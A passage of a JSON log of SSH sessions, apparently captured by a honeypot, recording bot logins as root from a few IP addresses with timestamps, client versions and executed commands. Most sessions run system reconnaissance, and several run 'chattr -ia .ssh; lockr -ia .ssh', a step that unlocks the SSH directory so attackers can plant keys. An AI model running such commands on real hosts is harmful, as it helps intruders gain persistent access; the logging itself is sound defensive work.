  "started_at": "2026-08-26T14:29:11.783877+00:00",
  "ended_at": "2026-08-26T14:29:16.479465+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bed0f065-88a9-4511-b220-7486a531d149",
  "name": "jolly-brisk-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 64060,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:27:19.683969+00:00",
  "ended_at": "2026-08-26T14:27:21.927711+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "3bb1f8a6-8034-48d1-975f-7f76fac2a571",
  "name": "indigo-sullen-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39376,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 457,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:27:10.447819+00:00",
  "ended_at": "2026-08-26T14:27:14.242637+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4ac10f55-1855-4fa5-a857-2d63e23d2759",
  "name": "craggy-marbled-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44766,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 680,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:27:03.669815+00:00",
  "ended_at": "2026-08-26T14:27:08.531181+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "89a537ce-1175-4584-bcf3-29434c68c4a4",
  "name": "breezy-mindful-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 58428,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:26:56.077641+00:00",
  "ended_at": "2026-08-26T14:26:57.253681+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "505181a3-18f9-4e8f-b8d1-8b4b236af165",
  "name": "quaint-wistful-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33748,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 420,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:26:42.593162+00:00",
  "ended_at": "2026-08-26T14:26:46.157007+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6db6a079-e5ba-43a2-9b1b-6773fc1a40c7",
  "name": "placid-proud-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40707,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 748,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:25:56.614579+00:00",
  "ended_at": "2026-08-26T14:25:57.789293+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2282
 },
 {
  "id": "0d716dc8-0f34-48b1-9541-18497fde2099",
  "name": "twilight-alpine-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40709,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:25:34.748945+00:00",
  "ended_at": "2026-08-26T14:25:35.878007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4d578299-b9e6-42a6-af0d-03b227bdf6bd",
  "name": "blunt-nautical-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47676,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 392,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:24:17.579177+00:00",
  "ended_at": "2026-08-26T14:24:21.417644+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6b94d094-0e52-4124-8015-2f80826bef02",
  "name": "seaward-regal-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56750,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 706,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:23:36.931421+00:00",
  "ended_at": "2026-08-26T14:23:42.804501+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "da7a776d-37a1-4814-9fd8-c934d2057490",
  "name": "slender-tawny-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 60544,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 282,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:23:21.970160+00:00",
  "ended_at": "2026-08-26T14:23:23.893045+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "439f0471-3ee3-4bbf-955c-aa71f55f4194",
  "name": "dewy-shaded-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46132,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 558,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:23:02.822426+00:00",
  "ended_at": "2026-08-26T14:23:07.684423+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "498fdbd3-e6c8-46aa-9355-e53893525174",
  "name": "fearless-blazing-kudu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 55560,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:22:56.220432+00:00",
  "ended_at": "2026-08-26T14:22:58.063944+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "172ed11b-88fe-46c2-99a8-623ebb6acebb",
  "name": "pewter-cheerful-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37508,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 401,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:22:48.338034+00:00",
  "ended_at": "2026-08-26T14:22:54.065346+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5c5877b0-9da7-4d45-97ba-2a6981f8117e",
  "name": "diligent-ivory-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40701,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 755,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:20:30.024042+00:00",
  "ended_at": "2026-08-26T14:20:31.672634+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2260
 },
 {
  "id": "af012c5a-8e5b-47dd-a8b1-e259f645201e",
  "name": "orderly-humble-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57286,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 467,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:20:12.188176+00:00",
  "ended_at": "2026-08-26T14:20:15.768004+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "716ba735-0f00-4308-a492-1b565ffcbc2f",
  "name": "early-breezy-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40703,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:20:08.526356+00:00",
  "ended_at": "2026-08-26T14:20:10.120187+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "49ac85c1-d584-440d-affd-bbdb244e3134",
  "name": "drifting-peaty-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36476,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 440,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:20:03.017616+00:00",
  "ended_at": "2026-08-26T14:20:08.871478+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "14544ef6-e5ea-4e6d-8936-3ff5f8358cc3",
  "name": "marbled-balmy-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59988,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 553,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:18:17.880186+00:00",
  "ended_at": "2026-08-26T14:18:23.308125+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d2cb77e3-5717-4532-97d7-953fcf646c32",
  "name": "cosmic-frank-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40698,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 747,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:17:49.196284+00:00",
  "ended_at": "2026-08-26T14:17:50.752858+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "d18fc748-7ad6-43f2-bfa4-c3eff8b0d88d",
  "name": "lively-civil-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40700,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:17:27.137787+00:00",
  "ended_at": "2026-08-26T14:17:28.822011+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "87d35ca3-e340-4e23-943e-89a4ea81cc1a",
  "name": "gleaming-oaken-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54910,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 477,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:15:17.209349+00:00",
  "ended_at": "2026-08-26T14:15:20.137913+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "371da9ab-39d1-41e4-9bfb-025351a11186",
  "name": "brave-arctic-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50246,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 392,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:14:42.287342+00:00",
  "ended_at": "2026-08-26T14:14:46.180344+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d1e6c2fa-0c9d-4a5c-a6e8-6f450b96e13d",
  "name": "rugged-hushed-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50364,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 646,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:13:43.567397+00:00",
  "ended_at": "2026-08-26T14:13:47.469575+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1f284605-c54e-4ea0-9924-e2af1715a412",
  "name": "orderly-western-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50334,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 762,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:12:46.202324+00:00",
  "ended_at": "2026-08-26T14:12:51.294484+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ac736e7c-8f8a-45f7-97a3-674832e428ad",
  "name": "bitter-feral-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38404,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 774,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:12:28.196834+00:00",
  "ended_at": "2026-08-26T14:12:34.127877+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cb8d2214-2e68-4651-a51f-8fb35195e41f",
  "name": "idle-keen-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35806,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 789,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:12:14.143095+00:00",
  "ended_at": "2026-08-26T14:12:16.796248+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "50b2e44e-1add-47bb-a01e-cd9345e324d2",
  "name": "blunt-honest-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47898,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 350,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:11:35.177028+00:00",
  "ended_at": "2026-08-26T14:11:37.966136+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e2aad29b-93f1-43b0-b878-a0dac57d99a1",
  "name": "ginger-restless-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57924,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1044,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:10:53.422386+00:00",
  "ended_at": "2026-08-26T14:10:56.408314+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e5549245-0a60-4fcc-bf89-565bb2136776",
  "name": "gentle-courtly-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45274,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 991,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:10:12.584372+00:00",
  "ended_at": "2026-08-26T14:10:18.710726+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "46553744-8189-4d44-8111-95f8ceb1aa7d",
  "name": "bitter-spirited-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57198,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 826,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:09:55.728313+00:00",
  "ended_at": "2026-08-26T14:10:00.785046+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ea781c7b-5ef2-4f48-b3bc-cabfcbbded07",
  "name": "dappled-idle-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44966,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1100,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:09:27.715352+00:00",
  "ended_at": "2026-08-26T14:09:32.570192+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d6c11ba9-b0b1-473e-896f-02af63b5661a",
  "name": "deft-distant-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38584,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1163,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:09:03.033392+00:00",
  "ended_at": "2026-08-26T14:09:06.875607+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dd0a0334-afa5-43ef-8de7-7f210a332987",
  "name": "crisp-upland-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35786,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 760,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:08:24.287740+00:00",
  "ended_at": "2026-08-26T14:08:29.858427+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3bb51dc5-c218-45d8-a153-1c5eff85ff82",
  "name": "downy-regal-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35646,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 694,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:06:46.147762+00:00",
  "ended_at": "2026-08-26T14:06:51.884648+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a243b7ca-5505-4f62-a360-bc2fe4f6fe1d",
  "name": "wooded-frugal-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54780,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 673,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:06:26.075047+00:00",
  "ended_at": "2026-08-26T14:06:30.460687+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ad401ad7-638a-4764-8ef3-e18b6185ee42",
  "name": "freckled-obsidian-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35858,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 610,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:05:08.914789+00:00",
  "ended_at": "2026-08-26T14:05:12.895218+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c1043255-0616-44c7-80e9-53d2df107d21",
  "name": "distant-zealous-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39286,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 487,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:04:54.135341+00:00",
  "ended_at": "2026-08-26T14:04:59.695569+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "218c0bd5-c0aa-40c4-a3b0-79db844fae7b",
  "name": "icy-upland-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36440,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 701,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:04:10.726939+00:00",
  "ended_at": "2026-08-26T14:04:15.687986+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "74535db9-1421-4ea7-b347-87408f6fda5a",
  "name": "brisk-rustic-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58454,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 721,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:03:38.703925+00:00",
  "ended_at": "2026-08-26T14:03:45.051619+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "296783d4-df0c-4b4c-a344-60c8fe447a5c",
  "name": "ashen-deft-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59862,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 914,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:02:57.042014+00:00",
  "ended_at": "2026-08-26T14:03:02.089367+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "857f50c5-814b-4806-b5b2-c7ba2b2335bb",
  "name": "jagged-muted-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50420,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 535,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:02:06.821351+00:00",
  "ended_at": "2026-08-26T14:02:11.847683+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "da5b5e40-afac-4556-8f3f-bdfb70278b32",
  "name": "kindly-dusky-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50214,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 475,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:02:01.710419+00:00",
  "ended_at": "2026-08-26T14:02:04.971146+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ea4e8c4a-38cf-4817-9956-9f020d3998f1",
  "name": "calm-polar-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35206,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 644,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:01:46.945227+00:00",
  "ended_at": "2026-08-26T14:01:52.154403+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9b420018-126a-46e8-b24f-51c87043de91",
  "name": "autumn-amiable-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 62728,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 272,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:01:35.432864+00:00",
  "ended_at": "2026-08-26T14:01:36.957850+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2227
 },
 {
  "id": "2b1cf4aa-e35f-48db-861e-6118de8eafe2",
  "name": "mottled-lonesome-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60326,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 639,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:01:31.615153+00:00",
  "ended_at": "2026-08-26T14:01:34.712074+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bea36b4a-57e6-4e59-b628-0e4c09445dc8",
  "name": "stoic-supple-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 62750,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:01:10.920968+00:00",
  "ended_at": "2026-08-26T14:01:11.906007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "28e426f9-a600-43a5-a031-f127cab51fa4",
  "name": "twilight-calm-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38152,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1326,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:00:59.254467+00:00",
  "ended_at": "2026-08-26T14:01:02.863899+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0cef3771-3368-4a98-8182-b16e75b51fe3",
  "name": "wry-rambling-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51610,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1398,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:00:49.929764+00:00",
  "ended_at": "2026-08-26T14:00:54.937997+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "99ba69b8-2a4a-4a2b-b0d3-d58c2284a804",
  "name": "gilded-sturdy-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 32820,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1494,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:00:38.266484+00:00",
  "ended_at": "2026-08-26T14:00:43.258477+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "10653991-16e8-4f25-8495-6fa2444c864c",
  "name": "amiable-grassy-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37236,
  "username": "root",
